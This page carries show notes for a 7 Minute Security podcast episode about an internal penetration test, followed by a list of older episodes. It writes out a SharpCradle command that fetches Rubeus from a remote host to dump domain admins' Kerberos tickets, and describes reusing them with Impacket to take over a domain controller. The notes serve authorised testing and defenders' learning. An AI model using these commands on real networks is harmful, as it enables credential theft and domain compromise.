7MS #442: Tales of Internal Network Pentest Pwnage - Part 23
7 Minute Security19 Nov 2020

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

  • Great blue team tools alerting our customer to a lot of the stuff we were doing
  • An EDR that we tried to beat up (but it beat us up instead)
  • SharpGPOAbuse which we talked about extensively last week
  • Separation of "everyday" accounts from privileged accounts
  • Multi-factor authentication bypass!
  • Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Episoder(684)

7MS #44: OFFTOPIC – Annoying People at the YMCA (audio)

7MS #44: OFFTOPIC – Annoying People at the YMCA (audio)

Warning, this is an off topic episode! Did you know it’s fun to stay at the YMCA? Did you also know it’s fun to annoy annoying people at the YMCA? Listen to this episode to find out why. 7MS #44: OFFTOPIC – Annoying People at the YMCA (audio)

7 Mar 20157min

7MS #43: Why Web Site Vulnerability Scanners Can Ruin Your Day (audio)

7MS #43: Why Web Site Vulnerability Scanners Can Ruin Your Day (audio)

Did you know that Web site vulnerability scanners can destroy your customer sites? If not, listen to this. 7MS #43: Why Web Site Vulnerability Scanners Can Ruin Your Day (audio)

28 Feb 20157min

7MS #42: Vulnerability Scans vs. Pentests (audio)

7MS #42: Vulnerability Scans vs. Pentests (audio)

I think everybody throws around the terms “vulnerability scans” and “pentests” and they mean completely different things from one person to the next. In this episode I try to clarify the differences and distinctions (in my mind, anyways). 7MS #42: Vulnerability Scans vs. Pentests (audio)

14 Feb 20157min

7MS #41: OSCP – Part 7 (audio)

7MS #41: OSCP – Part 7 (audio)

Tried of talking about OSCP yet? Me neither! 7MS #41: OSCP – Part 7 (audio)

6 Feb 20156min

7MS #40: OSCP – Part 6 (audio)

7MS #40: OSCP – Part 6 (audio)

PART SIX of a mind-bending series all about OSCP! 7MS #40: OSCP – Part 6 (audio)

31 Jan 20157min

7MS #39: Infosec on the Disney Boat (audio)

7MS #39: Infosec on the Disney Boat (audio)

I took a Disney cruise with my family recently, and one particular aspect of the trip gave me the Big Brother heebie-jeebies. 7MS #39: Infosec on the Disney Boat (audio)

24 Jan 20158min

7MS #38: OFFTOPIC – Health and Infosec (audio)

7MS #38: OFFTOPIC – Health and Infosec (audio)

Every once in a while I thought it would be fun to go slightly off topic and talk about other stuff I’m interested in. This episode kind of has a tech twist though. I talk about how I use my iPhone and a few apps to stay at least a little bit in shape. 7MS…

17 Jan 20157min

7MS #37: Keimpx (audio)

7MS #37: Keimpx (audio)

Ever wanted to pass hashes a whole network at a time? Check out this episode, where I talk about one of my fav new tools called Keipmx. 7MS #37: Keimpx (audio)

10 Jan 20157min

Populært innen Politikk og nyheter

giver-og-gjengen-vg
aftenpodden
forklart
aftenpodden-usa
stopp-verden
popradet
dine-penger-pengeradet
nokon-ma-ga
det-store-bildet
fotballpodden-2
unitedno
aftenbla-bla
e24-podden
rss-penger-polser-og-politikk
rss-ness
rss-fredrik-og-zahid-loser-ingenting
bt-dokumentar-2
oppdatert
ukrainapodden
rss-borsmorgen-okonominyhetene